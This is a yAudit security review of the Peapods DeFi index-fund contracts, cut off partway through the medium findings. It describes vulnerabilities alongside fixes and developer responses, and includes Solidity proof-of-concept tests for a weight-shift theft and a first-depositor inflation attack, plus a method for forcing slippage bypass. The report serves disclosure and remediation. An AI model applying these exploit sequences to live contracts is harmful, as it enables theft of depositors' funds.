yAudit Peapods Review

Review Resources:

- Protocol documentation.

Auditors:

- adriro
- puxyz

Table of Contents

Review Summary

Peapods

The Peapods protocol introduces decentralized on-chain index funds, known as “pods”. These pods come in two variants, weighted and unweighted. Unweighted pods are automatically rebalanced based on the underlying asset prices given by TWAP oracles. Weighted pods are permissionless vaults that follow a predefined set of weights for index assets, thus not requiring any external dependency. Users *bond* into pods and optionally provide liquidity to a Uniswap V2 pool that pairs the index fund token with an arbitrary token (usually referred as the *paired LP token*, DAI by default). Liquidity providers can stake their LP token to earn rewards (`PEAS`, the protocol token) coming from fees collected through the index lifecycle.

The contracts of the Peapods Repo were reviewed over 16 days. The code review was performed by 2 auditors between Jan 8 and Jan 23, 2024. The repository was under active development during the review, but the review was limited to the latest commit at the start of the review. This was commit 8bcb1c1da08017564f3f7e7bd7c54b130027607f for the Peapods repo.

Scope

The scope of the review consisted of the following contracts at the specific commit:

```
contracts
├── DecentralizedIndex.sol
├── IndexManager.sol
├── IndexUtils.sol
├── PEAS.sol
├── ProtocolFeeRouter.sol
├── ProtocolFees.sol
├── StakingPoolToken.sol
├── TokenRewards.sol
├── V3Locker.sol
├── V3TwapUtilities.sol
├── WeightedIndex.sol
├── interfaces
│   ├── IDecentralizedIndex.sol
│   ├── IERC20Metadata.sol
│   ├── IFlashLoanRecipient.sol
│   ├── IIndexManager.sol
│   ├── INonfungiblePositionManager.sol
│   ├── IPEAS.sol
│   ├── IProtocolFeeRouter.sol
│   ├── IProtocolFees.sol
│   ├── IStakingPoolToken.sol
│   ├── ITokenRewards.sol
│   ├── IUniswapV2Factory.sol
│   ├── IUniswapV2Pair.sol
│   ├── IUniswapV2Router02.sol
│   ├── IUniswapV3Pool.sol
│   ├── IV3TwapUtilities.sol
│   └── IWETH.sol
└── libraries
    ├── BokkyPooBahsDateTimeLibrary.sol
    ├── FullMath.sol
    ├── PoolAddress.sol
    └── TickMath.sol
```

Unweighted pods (UnweightedIndex.sol) were out of scope, as well as some functions in IndexUtils.sol that operate with this type of pods (`bondUnweightedFromNative()` and `_bondUnweightedFromWrappedNative()`).

After the findings were presented to the Peapods team, fixes were made and included in several commits. These changes were reviewed as part of PR #23, being `a105883bf6ae3d656ddf9e514841c2ec9a2f471b` the latest reviewed revision in the changeset.

This review is a code review to identify potential vulnerabilities in the code. The reviewers did not investigate security practices or operational security and assumed that privileged accounts could be trusted. The reviewers did not evaluate the security of the code relative to a standard or specification. The review may not have identified all potential attack vectors or areas of vulnerability.

yAudit and the auditors make no warranties regarding the security of the code and do not warrant that the code is free from defects. yAudit and the auditors do not represent nor imply to third parties that the code has been audited nor that the code is free from defects. By deploying or using the code, Peapods and users of the contracts agree to use the code at their own risk.

Code Evaluation Matrix

Category	Mark	Description
Access Control	Good	Adequate access control is present in admin controlled functionality and partner accessible areas in the pod.
Mathematics	Good	The mathematics are simple and resemble the usual share calculations used in vaults. The protocol decided to upgrade to Solidity 0.8 to add checked math by default.
Complexity	Average	The codebase is well-structured and logic is distributed between different contracts. However, there are some high complexity spots, such as fee processing as part of index token transfers or zap functions in IndexUtils.sol.
Libraries	Good	The protocol uses an up-to-date version of the OpenZeppelin library.

Category	Mark	Description
Decentralization	Good	Proper care has been taken in designing the protocol to be decentralized. Contracts are non-upgradeable and pods can be created in a permissionless fashion.
Code stability	Average	The codebase was under active development, though most of the changes were related to fixes.
Documentation	Low	Contracts lack NatSpec comments.
Monitoring	Average	Events were emitted where applicable but missing in some functions.
Testing and verification	Low	The codebase doesn't include any test.

Findings Explanation

Findings are broken down into sections by their respective impact:

- Critical, High, Medium, Low impact
  - These are findings that range from attacks that may cause loss of funds, impact control/ownership of the contracts, or cause any unintended consequences/actions that are outside the scope of the requirements.
- Gas savings
  - Findings that can improve the gas efficiency of the contracts.
- Informational
  - Findings including recommendations and best practices.

Critical Findings

1. Critical - Attacker can steal tokens from pods with rebasing tokens by abusing weight handling

A particular condition related to how weights are handled during bonding can be exploited by an attacker when the pod naturally shifts weights due to rebasing tokens.

Technical Details

The implementation of `bond()` uses a different logic to handle the initial deposit. Since there are no tokens present, the first bond operation uses the configured weights: the user chooses one asset token and an amount, and the rest of the asset token amounts are determined by the weight relation between each. Afterwards, bonding is done using the balances present in the index contract.

However, the implementation contains a particular edge case. The condition to trigger the initial deposit logic doesn't rely on the total supply amount but rather on the condition that `_tokenAmtSupplyRatioX96 == FixedPoint96.Q96`:

```
110:   function bond(
111:     address _token,
112:     uint256 _amount
113:   ) external override lock noSwapOrFee {
114:     require(_isTokenInIndex[_token], 'INVALIDTOKEN');
115:     uint256 _tokenIdx = _fundTokenIdx[_token];
116:     uint256 _tokenCurSupply = IERC20(_token).balanceOf(address(this));
117:     uint256 _tokenAmtSupplyRatioX96 = _isFirstIn()
118:       ? FixedPoint96.Q96
119:       : (_amount * FixedPoint96.Q96) / _tokenCurSupply;
120:     uint256 _tokensMinted = _tokenAmtSupplyRatioX96 == FixedPoint96.Q96
121:       ? (_amount * FixedPoint96.Q96 * 10 ** decimals()) /
122:         indexTokens[_tokenIdx].q1
123:       : (totalSupply() * _tokenAmtSupplyRatioX96) / FixedPoint96.Q96;
124:     uint256 _feeTokens = _canWrapFeeFree()
125:       ? 0
126:       : (_tokensMinted * fees.bond) / DEN;
127:     _mint(_msgSender(), _tokensMinted - _feeTokens);
128:     if (_feeTokens > 0) {
129:       _mint(address(this), _feeTokens);
130:     }
131:     for (uint256 _i; _i < indexTokens.length; _i++) {
132:       uint256 _transferAmt = _tokenAmtSupplyRatioX96 == FixedPoint96.Q96
133:         ? getInitialAmount(_token, _amount, indexTokens[_i].token)
134:         : (IERC20(indexTokens[_i].token).balanceOf(address(this)) *
135:           _tokenAmtSupplyRatioX96) / FixedPoint96.Q96;
136:       _transferFromAndValidate(
137:         IERC20(indexTokens[_i].token),
138:         _msgSender(),
139:         _transferAmt
140:       );
141:     }
142:     _bond();
143:     emit Bond(_msgSender(), _token, _amount, _tokensMinted);
144:   }
```

Lines 117-119 use `_isFirstIn()`, which is `totalSupply() == 0`, to assign the value of `_tokenAmtSupplyRatioX96`. The implementation then proceeds to check `_tokenAmtSupplyRatioX96 == FixedPoint96.Q96` at lines 120 and 132 to choose between the initial deposit logic and non-initial deposit logic.

However, it is easy to trigger the initial deposit logic even if `totalSupply() > 0` by just making `_tokenAmtSupplyRatioX96` to be equal to `FixedPoint96.Q96`: just set the bonding amount to be equal to the current balance in the pod. This will make the calculation of `(_amount * FixedPoint96.Q96) / _tokenCurSupply` to be equal to `FixedPoint96.Q96`, triggering the initial deposit path.

Normally this wouldn't cause an issue. If the actual balances of the pod follow the configured weights, then both paths should be equal. However, this is not true in the presence of rebasing tokens that naturally shift the weight of the pool in terms of their balances. An attacker can exploit this in his favor by bonding using the original weights, and then debonding based on the balances. See proof of concept for a detailed walkthrough of the exploit.

Proof of Concept

```
function test_StealWithWeightShift() public {
    // pretend we have stETH and USDC
    TestERC20 steth = new TestERC20();
    TestERC20 usdc = new TestERC20();

    IDecentralizedIndex.Fees memory fees = IDecentralizedIndex.Fees({
        burn: 0,
        bond: 0,
        debond: 0,
        buy: 0,
        sell: 0,
        partner: 0
    });

    address[] memory tokens = new address[](2);
    tokens[0] = address(steth);
    tokens[1] = address(usdc);

    uint256[] memory weights = new uint256[](2);
    weights[0] = 5;
    weights[1] = 995;

    vm.prank(deployer);
    index = new WeightedIndex(
        "yAudit",
        "YAT",
        fees,
        tokens,
        weights,
        partner,
        address(0), // paired lp token, will use DAI if null
        PEAS, // reward token
        V2_ROUTER,
        false // stake restriction
```

```
    );

    // seed alice
    usdc.mint(alice, 995e18);
    steth.mint(alice, 5e18);

    // alice bonds
    vm.startPrank(alice);

    usdc.approve(address(index), type(uint256).max);
    steth.approve(address(index), type(uint256).max);

    index.bond(address(steth), 5e18);

    vm.stopPrank();

    // let's say steth rebases to double
    steth.mint(address(index), steth.balanceOf(address(index)));

    // seed bob
    uint256 bobInitialUsdc = 1990e18;
    uint256 bobInitialSteth = 10e18;
    usdc.mint(bob, bobInitialUsdc);
    steth.mint(bob, bobInitialSteth);

    // bob attacks the pod by depositing the same amount of steth as the balance of the
pool, to use the original weights
    vm.startPrank(bob);

    usdc.approve(address(index), type(uint256).max);
    steth.approve(address(index), type(uint256).max);

    uint256 stEthIndexBalance = steth.balanceOf(address(index));

    index.bond(address(steth), stEthIndexBalance);
```

```
    address[] memory null1;
    uint8[] memory null2;
    index.debond(index.balanceOf(bob), null1, null2);

    console.log("Bob final USDC:", usdc.balanceOf(bob));
    console.log("Bob final stETH:", steth.balanceOf(bob));
    console.log("======================================");

    console.log("Bob stETH difference:", steth.balanceOf(bob) - bobInitialSteth);

    vm.stopPrank();
}
```

Impact

Critical. An attacker can steal tokens from the pod.

Recommendation

Use the result from `_isFirstIn()`, which is total supply, as the condition to trigger the initial deposit logic.

```
    function bond(
      address _token,
      uint256 _amount
    ) external override lock noSwapOrFee {
      require(_isTokenInIndex[_token], 'INVALIDTOKEN');
      uint256 _tokenIdx = _fundTokenIdx[_token];
      uint256 _tokenCurSupply = IERC20(_token).balanceOf(address(this));
+     bool isFirst = _isFirstIn();
-     uint256 _tokenAmtSupplyRatioX96 = _isFirstIn()
+     uint256 _tokenAmtSupplyRatioX96 = isFirst
        ? FixedPoint96.Q96
        : (_amount * FixedPoint96.Q96) / _tokenCurSupply;
-     uint256 _tokensMinted = _tokenAmtSupplyRatioX96 == FixedPoint96.Q96
+     uint256 _tokensMinted = isFirst
        ? (_amount * FixedPoint96.Q96 * 10 ** decimals()) /
          indexTokens[_tokenIdx].q1
        : (totalSupply() * _tokenAmtSupplyRatioX96) / FixedPoint96.Q96;
      uint256 _feeTokens = _canWrapFeeFree()
        ? 0
        : (_tokensMinted * fees.bond) / DEN;
      _mint(_msgSender(), _tokensMinted - _feeTokens);
      if (_feeTokens > 0) {
        _mint(address(this), _feeTokens);
      }
      for (uint256 _i; _i < indexTokens.length; _i++) {
-       uint256 _transferAmt = _tokenAmtSupplyRatioX96 == FixedPoint96.Q96
+       uint256 _tokensMinted = isFirst
          ? getInitialAmount(_token, _amount, indexTokens[_i].token)
          : (IERC20(indexTokens[_i].token).balanceOf(address(this)) *
```

```
            _tokenAmtSupplyRatioX96) / FixedPoint96.Q96;
        _transferFromAndValidate(
          IERC20(indexTokens[_i].token),
          _msgSender(),
          _transferAmt
        );
      }
      _bond();
      emit Bond(_msgSender(), _token, _amount, _tokensMinted);
    }
```

Developer Response

Resolved here and here

High Findings

1. High - Uniswap position timelock can be bypassed

The timelock implemented in the V3Locker.sol contract can be bypassed by abusing Solidity 0.7 default unchecked math.

Technical Details

The implementation of V3Locker.sol contains a function that can be used to extend the locktime:

```
41:   function addTime(uint256 _secs) external onlyOwner {
42:     lockedTime += _secs;
43:   }
```

Since the codebase uses Solidity 0.7, this function can be used to overflow the `lockedTime` variable and reset the timelock to zero, allowing to arbitrarily withdraw the Uniswap position.

For example, if `lockedTime = X`, then calling `addTime(type(uint256).max - X)` will set `lockedTime = 0`.

Impact

High. The timelock can be bypassed and liquidity can be pulled before the intended lock duration expires.

Recommendation

Use checked math (SafeMath) to increment the `lockedTime` variable in `addTime()`.

Developer Response

Upgraded all contracts to 0.8: https://github.com/peapodsfinance/contracts/commit/8bcb1c1da08017564f3f7e7bd7c54b130027607f

2. High - Potential denial of service while modifying token allowance

Some ERC20 implementations, such as USDT, require that the allowance is reset to zero before being modified. Increasing the approval while having some unspent allowance will lead to a denial of service.

Technical Details

The `addLiquidityV2()` function sets up the token allowances in order to grant the pool approval to pull tokens:

```
266:     IERC20(PAIRED_LP_TOKEN).safeTransferFrom(
267:       _msgSender(),
268:       address(this),
269:       _pairedLPTokens
270:     );
271:     IERC20(PAIRED_LP_TOKEN).safeIncreaseAllowance(V2_ROUTER, _pairedLPTokens);
272:
273:     IUniswapV2Router02(V2_ROUTER).addLiquidity(
274:       address(this),
275:       PAIRED_LP_TOKEN,
276:       _idxLPTokens,
277:       _pairedLPTokens,
278:       (_idxLPTokens * (1000 - _slippage)) / 1000,
279:       (_pairedLPTokens * (1000 - _slippage)) / 1000,
280:       _msgSender(),
281:       block.timestamp
282:     );
```

If `PAIRED_LP_TOKEN` is an USDT-like token, the call to `safeIncreaseAllowance()` in line 271 will fail if the previous call to `IUniswapV2Router02::addLiquidity()` didn't fully spend the allowance (i.e. there was some excess of `PAIRED_LP_TOKEN` tokens).

Impact

High. Any unspent allowance will create a denial of service due to the revert while setting the allowance.

Recommendation

Reset the allowance to zero before setting the required value.

Developer Response

Resolved for addLiquidity only in https://github.com/peapodsfinance/contracts/pull/23/commits/33171304aa0a9ffd9fed1cf06c544f12d78479b2

3. High - Anyone can bond for free during the first week or until the partner bonds

As long as the partner hasn't bonded, the conditions in `_canWrapFeeFree()` allow any non-partner caller to bond for free during the first week.

Technical Details

The expression to allow free minting is given by the `_canWrapFeeFree()` implementation:

```
212:   function _canWrapFeeFree() internal view returns (bool) {
213:     return
214:       _isFirstIn() ||
215:       (_partnerFirstWrapped == 0 && block.timestamp <= created + 7 days);
216:   }
```

While the intention is to only allow the first person to bond for free, the current set of constraints would also allow anyone to skip the bond fee as long as the partner hasn't bonded yet. The clause `_partnerFirstWrapped == 0 && block.timestamp <= created + 7 days` will be always true during the first week until the partner bonds into the pod.

Impact

High. Any non-partner caller will skip paying bond fees.

Recommendation

Add the partner check to the set of conditions in `_canWrapFeeFree()`.

```
  function _canWrapFeeFree() internal view returns (bool) {
    return
      _isFirstIn() ||
-     (_partnerFirstWrapped == 0 && block.timestamp <= created + 7 days);
+     (_partnerFirstWrapped == 0 && block.timestamp <= created + 7 days && msg.sender ==
partner);
  }
```

Developer Response

Resolved in https://github.com/peapodsfinance/contracts/commit/0cd797f2dcf22d7c04324f9762d59139ec896826

4. High - Pods are susceptible to the inflation attack

The first depositor in the WeightedIndex.sol contract can inflate the value of a share to cause rounding issues in subsequent deposits.

Technical Details

Weighted pods are susceptible to a vulnerability known as the *Inflation Attack*, in which the first depositor can be front-run by an attacker to steal their deposit.

Let's imagine a user wants to bond X amount of certain asset in a pod.

1. The attacker makes an initial bond of a certain small amount of tokens. The attacker is minted Y index shares.
2. The attacker now calls `debond(Y - 1)`. This will cause the total supply of shares to be exactly 1.
3. The attacker donates X amount of tokens to the pod. This means the token balance is now `X + 1`.
4. The user bond transaction goes through, they are minted `amount * totalSupply / tokenBalance = X * 1 / X + 1 = 0` shares.

5 The attacker redeems their share and pulls all liquidity from the pod.

Proof of Concept

```
function test_InflationAttack() public {
    // seed tokens
    deal(WETH, alice, 100e18);
    deal(WBTC, alice, 50e8);

    deal(WETH, bob, 100e18);
    deal(WBTC, bob, 50e8);

    // setup approvals
    vm.startPrank(alice);
    IERC20(WETH).approve(address(index), type(uint256).max);
    IERC20(WBTC).approve(address(index), type(uint256).max);
    vm.stopPrank();

    vm.startPrank(bob);
    IERC20(WETH).approve(address(index), type(uint256).max);
    IERC20(WBTC).approve(address(index), type(uint256).max);
    vm.stopPrank();

    // bond
    vm.prank(alice);
    index.bond(WETH, 0.1e18);

    uint256 aliceShares = index.balanceOf(alice);

    // burn everything except 1 share
    address[] memory null1;
    uint8[] memory null2;
    vm.prank(alice);
    index.debond(aliceShares - 1, null1, null2);

    // Lets say Bob wants to deposit 10 ETH
    uint256 bobAmount = 10e18;
```

```
    // Alice inflate reserves
    vm.prank(alice);
    IERC20(WETH).transfer(address(index), bobAmount);

    // Now Bob's deposit goes through
    vm.prank(bob);
    index.bond(WETH, bobAmount);

    // Bob's shares get rounded to 0
    assertEq(index.balanceOf(bob), 0);

    // Alice withdraws all liquidity
    vm.prank(alice);
    index.debond(1, null1, null2);

    console.log("Alice BTC balance:", IERC20(WBTC).balanceOf(alice));
    console.log("Alice WETH balance:", IERC20(WETH).balanceOf(alice));

    console.log("Bob BTC balance:", IERC20(WBTC).balanceOf(bob));
    console.log("Bob WETH balance:", IERC20(WETH).balanceOf(bob));
}
```

Impact

High. An attacker can steal the assets from the initial bond in the pod.

Recommendation

There are different ways to mitigate this attack. Since the index doesn't need to respect a particular interface (like in ERC4626 vaults) a potential solution would be to introduce a slippage check on the minted token amount.

Developer Response

Resolved with slippage param in https://github.com/peapodsfinance/contracts/commit/aa9aa833cb15ff27422513a86a921e798291edc3

5. High - Incorrect refund amount in zap functionality

The implementation of `_zapIndexTokensAndNative()` miscalculates the amount of index tokens to be refunded to the user.

Technical Details

The `_zapIndexTokensAndNative()` function can be used to *zap* and stake into the pod: it takes ETH and index tokens from the caller, swaps ETH for paired LP tokens, adds liquidity to the UniV2 pool of the pod and finally stakes these LP tokens.

All these operations carry potential leftovers, in particular index tokens are expected to be potentially refunded if there are leftovers from the add liquidity step (the pod implementation refunds these to the caller, so any returned amount must be forwarded to the user, the original caller).

The initial amount of index tokens is recorded at line 529:

```
529:     uint256 _tokensBefore = IERC20(address(_indexFund)).balanceOf(
530:       address(this)
531:     );
```

This is **after** index tokens have been pulled from the user. We can think of `_tokensBefore` as the previous balance the contract had before, plus the amount being pulled from the user: `_tokensBefore = previousBalance + _amountTokens`.

Tokens are then pulled from the contract during the call to `addLiquidityV2()`, and any excess is refunded. We can think of the updated balance as `_tokensAfter = _tokensBefore + refundedTokens - _amountTokens`.

Finally, the implementation proceeds to refund the caller:

```
570:     if (IERC20(address(_indexFund)).balanceOf(address(this)) > _tokensBefore) {
571:       IERC20(address(_indexFund)).safeTransfer(
572:         _user,
573:         IERC20(address(_indexFund)).balanceOf(address(this)) - _tokensBefore
574:       );
575:     }
```

As we can see in the snippet, the caller will be refunded with the difference of the current balance and `_tokensBefore`. Simplifying the expression we have:

```
_tokensAfter > _tokensBefore
_tokensBefore + refundedTokens - _amountTokens > _tokensBefore
refundedTokens - _amountTokens > 0
refundedTokens  > _amountTokens
```

This means that the caller will be refunded only if the refunded amount exceeds the seeded amount, a condition that can't possibly be true.

Impact

High. Refunded tokens from the add liquidity operation will not be refunded to the caller, leading to a loss of funds.

Recommendation

Either snapshot `_tokensBefore` before pulling the tokens from the user, or offset this variable by the given amount (`_amountTokens`).

Developer Response

Resolved in https://github.com/peapodsfinance/contracts/pull/23/commits/862bf7736b01fbaa86472da0798627236f63c7c0

Medium Findings

1. Medium - Fixed flash fee could be incompatible with underlying LP token

Pods charge a flat fee of 10 units expressed in the underlying LP token decimals, which will likely be incompatible if the token is not a stablecoin.

Technical Details

The protocol intention is to charge a 10 DAI flat fee for flash loans (see https://docs.peapods.finance/extras/flash-loans). In the implementation of DecentralizedIndex.sol, this fee is defined as a constant:

```
28:   uint256 public constant override FLASH_FEE = 10; // 10 PAIRED_LP_TOKEN
```

Which is later scaled by the token's decimals:

```
327:     IERC20(PAIRED_LP_TOKEN).safeTransferFrom(
328:       _msgSender(),
329:       _rewards,
330:       FLASH_FEE * 10 ** IERC20Metadata(PAIRED_LP_TOKEN).decimals()
331:     );
```

However, as the paired LP token can be configured by the pod creator, this will create a compatibility issue if the configured token is not a stablecoin or if its value deviates from $1. For example, if paired with ETH, the flash loan fee will be 10 ETH, approximately 23000 USD at the time of writing.

Impact

Medium. Flash loans might be too expensive or too cheap if the paired LP token is not a stablecoin.

Recommendation

Allow setting the flash loan fee instead of hardcoding it to 10.

Developer Response

Moving to require a flash loan to always cost 10 DAI regardless of paired LP token. Since the logic in TokenRewards will only swap against PAIRED_LP_TOKEN to rewardsToken, we are strategically keeping the logic as is for pods paired with DAI, however will be sending the 10 DAI per flash to the owner of V3_TWAP_UTILS for non DAI paired LP pods to be used to boost rewards or elsewhere in the ecosystem.

Adjusted in https://github.com/peapodsfinance/contracts/pull/23/commits/33171304aa0a9ffd9fed1cf06c544f12d78479b2

2. Medium - Reward processing can be sandwiched

Burned index tokens while processing fees can be sandwiched to profit on the sudden increase of the price per share.

Technical Details

Collected fees in the pod are processed in `_processPreSwapFeesAndSwap()`. A portion of these, defined by `fees.burn`, are burned are part of this processing:

```
161:       if (fees.burn > 0) {
162:         _burnAmt = (_totalAmt * fees.burn) / DEN;
163:         _burn(address(this), _burnAmt);
164:       }
```

When this happens, the price per share will be increased: index tokens are burned, but assets in the index stay the same. This creates a sudden spike in the index shares that can be potentially sandwiched. A bad actor can enter the index before processing the fees and immediately withdraw, with null exposure to the underlying assets in the pod.

Impact

Medium. The issue can be easily exploited but is mitigated by eventual slippages and fees that occur as part of the bond and debond mechanism.

Recommendation

The attack can be further mitigated by introducing some concept of permanency in the index (so the attacker also needs to have exposure to the pod's assets) or by avoiding the spike in the share value, for example by burning these linearly over a period of time.

Developer Response

Resolved in https://github.com/peapodsfinance/contracts/commit/0cd797f2dcf22d7c04324f9762d59139ec896826 by processing burn fees immediately and not all at once upon feeSwap conditions passing.

3. Medium - Lack of slippage during fee and reward processing

Pod fees are collected as index tokens that are first swapped for the LP paired token, and then for the reward token. Lack of slippage during these operations can be captured by MEV in detriment of the users of the protocol.

Technical Details

Protocol fees are accumulated in the pod as index tokens. When these exceed a predefined threshold, they are processed in `_processPreSwapFeesAndSwap()`, which ends up swapping them for the paired LP token (the other token in the UniV2 pool).

```
174:   function _feeSwap(uint256 _amount) internal {
175:     address[] memory path = new address[](2);
176:     path[0] = address(this);
177:     path[1] = PAIRED_LP_TOKEN;
178:     _approve(address(this), V2_ROUTER, _amount);
179:     address _rewards = StakingPoolToken(lpStakingPool).poolRewards();
180:     IUniswapV2Router02(V2_ROUTER)
181:       .swapExactTokensForTokensSupportingFeeOnTransferTokens(
182:         _amount,
183:         0,
184:         path,
185:         _rewards,
186:         block.timestamp
187:       );
188:     if (IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) > 0) {
189:       ITokenRewards(_rewards).depositFromPairedLpToken(0, 0);
190:     }
191:   }
```

The call to `swapExactTokensForTokensSupportingFeeOnTransferTokens()` has an effective slippage of zero, meaning the operation will succeed independently of the final output amount.

Something similar happens when the resulting paired LP tokens are exchanged for reward tokens. In TokenRewards.sol, the `depositFromPairedLpToken()` function is in charge of swapping the received paired LP tokens for reward tokens in order to distribute them among the stakers. In this case, the protocol implements slippage protection based on the TWAP oracle with a default slippage of 1% (`_rewardsSwapSlippage`). However, this protection can be bypassed due to the usage of the `try/catch` control flow.

```
174:     try
175:       ISwapRouter(V3_ROUTER).exactInputSingle(
176:         ISwapRouter.ExactInputSingleParams({
177:           tokenIn: PAIRED_LP_TOKEN,
178:           tokenOut: rewardsToken,
179:           fee: REWARDS_POOL_FEE,
180:           recipient: address(this),
181:           deadline: block.timestamp,
182:           amountIn: _amountTkn,
183:           amountOutMinimum: (_amountOut * (1000 - _slippage)) / 1000,
184:           sqrtPriceLimitX96: 0
185:         })
186:       )
187:     {
188:       _rewardsSwapSlippage = 10;
189:       _depositRewards(
190:         IERC20(rewardsToken).balanceOf(address(this)) - _rewardsBalBefore
191:       );
192:     } catch {
193:       if (_rewardsSwapSlippage < 1000) {
194:         _rewardsSwapSlippage += 10;
195:       }
196:       IERC20(PAIRED_LP_TOKEN).safeDecreaseAllowance(V3_ROUTER, _amountTkn);
197:     }
```

If the call to `depositFromPairedLpToken()` (coming from `DecentralizedIndex::_feeSwap()`) fails naturally due to slippage, the implementation will increase the slippage by 1%, presumably with that the intention that next call goes through (or fails again, in which case the slippage is increased more). However, the LP paired tokens have been successfully transferred from the index contract to the TokenReward contract since the call doesn't revert due to the `try/catch`. A malicious actor can then directly call `depositFromPairedLpToken(0, 1000)` to set the slippage to 100%.

This scenario can be intentionally triggered by making the `exactInputSingle()` call fail deliberately. One possibility would be to shift the pool temporarily to make the swap take more than 1% slippage (remember the price is given by a TWAP oracle). Another possibility would be to abuse the EIP-150 "63/64 rule" and setting a gas limit so that the call to `exactInputSingle()` fails due to out of gas, but the calling frame saves enough gas to continue the execution of the `catch` clause.

Impact

Medium. Inefficient processing of fees will potentially lead to lesser earnings for stakers.

Recommendation

It is difficult to ensure fair exchanges during automated actions that are eventually triggered by a token transfer, as there is no direct responsible entity of setting proper swap params. One potential solution could be to rely on arbitrageurs, collected fees could be auctioned for reward tokens instead of directly swapped through Uniswap pools. Protocols such as Cowswap or UniswapX can help to offload the burden of such an implementation.

Developer Response

Per our discussion in discord, we wanted you to review and ideally formally respond to our current approach and even better quantify the potential swap efficiency we are compromising or missing out on by using the approach as provided below vs the reward auction approach in your recommendation.

Here is the latest swap logic from pTKN > pairedLpToken:
https://github.com/peapodsfinance/contracts/blob/findings/contracts/DecentralizedIndex.sol#L163:L179

4. Medium - Validate paired LP token and rewards token are not the same

Using the same token for the paired LP and the rewards will create conflicts in TokenRewards.sol that could lead to loss of funds.

Technical Details

The implementation of `depositFromPairedLpToken()` will revert if the same token is used as the paired LP token and the rewards token.

The pool address will be computed using the address in both pairs and will result in a non-existent contract. The call will revert when the implementation tries to fetch the TWAP price from the pool (`sqrtPriceX96FromPoolAndInterval()`).

A denial of service in `depositFromPairedLpToken()` will brick the fee processing implementation, and fees collected in the pod as index tokens will never be distributed to stakers.

Impact

Medium. A denial of service will brick the processing of fees causing a potential loss of funds.

Recommendation

Ensure the paired LP token and the rewards token are not the same.

```
  constructor(
    IProtocolFeeRouter _feeRouter,
    IV3TwapUtilities _v3TwapUtilities,
    address _indexFund,
    address _pairedLpToken,
    address _trackingToken,
    address _rewardsToken
  ) {
+   require(_pairedLpToken != _rewardsToken)
    PROTOCOL_FEE_ROUTER = _feeRouter;
    V3_TWAP_UTILS = _v3TwapUtilities;
    INDEX_FUND = _indexFund;
    PAIRED_LP_TOKEN = _pairedLpToken;
    trackingToken = _trackingToken;
    rewardsToken = _rewardsToken;
  }
```

Alternatively, modify the implementation of `depositFromPairedLpToken()` so that paired LP tokens are not exchanged for reward tokens if they are the same, and distribute these directly.

Developer Response

Update 20240118: Added this to ensure balance diff check is current CA and not rewards

Resolved in https://github.com/peapodsfinance/contracts/pull/23/commits/aa9aa833cb15ff27422513a86a921e798291edc3 (see here) and https://github.com/peapodsfinance/contracts/pull/23/commits/5c8dc7e28e1f0fa44a88487067d098f6f1649047

This should probably never happen, but we want to technically support the possibility of paired LP token being the same as the rewards token so added logic in to handle this case after both a fee swap and in the only other places where executing `depositFromPairedLpToken()` takes place. Please let us know if this solution suffices and you sign off. Thanks!

5. Medium - Admin fees can be collected multiple times when rewards are deposited

The logic to collect the admin fees during reward processing in TokenRewards.sol can be executed multiple times if the underlying swap operation fails.

Technical Details

The implementation of `depositFromPairedLpToken()` collects admin fees that are taken from the paired LP token amount and sent to the protocol owner before the rest of these are swapped for the rewards token.

```
139:     if (_yieldAdminFee > 0) {
140:       uint256 _adminAmt = (_amountTkn * _yieldAdminFee) /
141:         PROTOCOL_FEE_ROUTER.protocolFees().DEN();
142:       IERC20(PAIRED_LP_TOKEN).safeTransfer(
143:         Ownable(address(V3_TWAP_UTILS)).owner(),
144:         _adminAmt
145:       );
146:       _amountTkn = IERC20(PAIRED_LP_TOKEN).balanceOf(address(this));
147:     }

...      ...

174:     try
175:       ISwapRouter(V3_ROUTER).exactInputSingle(
176:         ISwapRouter.ExactInputSingleParams({
177:           tokenIn: PAIRED_LP_TOKEN,
178:           tokenOut: rewardsToken,
179:           fee: REWARDS_POOL_FEE,
180:           recipient: address(this),
181:           deadline: block.timestamp,
182:           amountIn: _amountTkn,
183:           amountOutMinimum: (_amountOut * (1000 - _slippage)) / 1000,
184:           sqrtPriceLimitX96: 0
185:         })
186:       )
187:     {
188:       _rewardsSwapSlippage = 10;
189:       _depositRewards(
190:         IERC20(rewardsToken).balanceOf(address(this)) - _rewardsBalBefore
191:       );
192:     } catch {
```

```
193:       if (_rewardsSwapSlippage < 1000) {
194:         _rewardsSwapSlippage += 10;
195:       }
196:       IERC20(PAIRED_LP_TOKEN).safeDecreaseAllowance(V3_ROUTER, _amountTkn);
197:     }
```

If the swap operation fails, the implementation increases the slippage with the intention that the next call could be executed successfully. However, admin fees were already collected and transferred, which means that next time the function is called (with the increased slippage) admin fees will be collected again.

Impact

Medium. Fees can be applied to rewards more than once, causing a reduction in the staker's earnings. It is unlikely that the issue will be intentionally exploited as fees go to the protocol owner, which is a trusted entity.

Recommendation

Perform the token transfer only after the swap is successfully executed.

Developer Response

Resolved in https://github.com/peapodsfinance/contracts/pull/23/commits/e87b611eaecbe94c0cacf2723c22ce6a267542e5

Specifically here

6. Medium - Potential denial of service in debond token transfer

A check during token transfer in `debond()` may cause an accidental denial of service that could brick the contract.

Technical Details

The implementation of `debond()` contains a peculiar validation that checks if the token transfer didn't remove more tokens than specified.

```
165:       require(
166:         IERC20(indexTokens[_i].token).balanceOf(address(this)) >=
167:           _tokenSupply - _debondAmount,
168:         'HEAVY'
169:       );
```

If a token experiences such behavior, this will effectively mean a denial of service in the debond procedure. As tokens are transferred atomically, this could brick the contract and cause a loss of funds.

Note that this is not the same as the check during bonding. `_transferFromAndValidate()` checks that the received amount is at least the specified transfer amount. This means that tokens that apply an extra fee to the sender (i.e. not fee inclusive) would be accepted during bonding but would fail during debond.

Impact

Medium. The pod could be bricked, but it would require the presence of a rare ERC20 implementation.

Recommendation

Remove the check.

Developer Response

Resolved in https://github.com/peapodsfinance/contracts/pull/23/commits/33171304aa0a9ffd9fed1cf06c544f12d78479b2

7. Medium - Pod can be DOS, when v3 pool `PAIRED_LP_TOKEN -> rewardsToken` doesn't exist

One of the main goal of uni v3 pool between `PAIRED_LP_TOKEN -> rewardsToken` is to provide liquidity to convert excess PAIRED_LP_TOKEN to rewards tokens when

- someone make a sell `indexToken -> PAIRED_LP_TOKEN`
- when someone stakes v2 pool token.

Technical Details

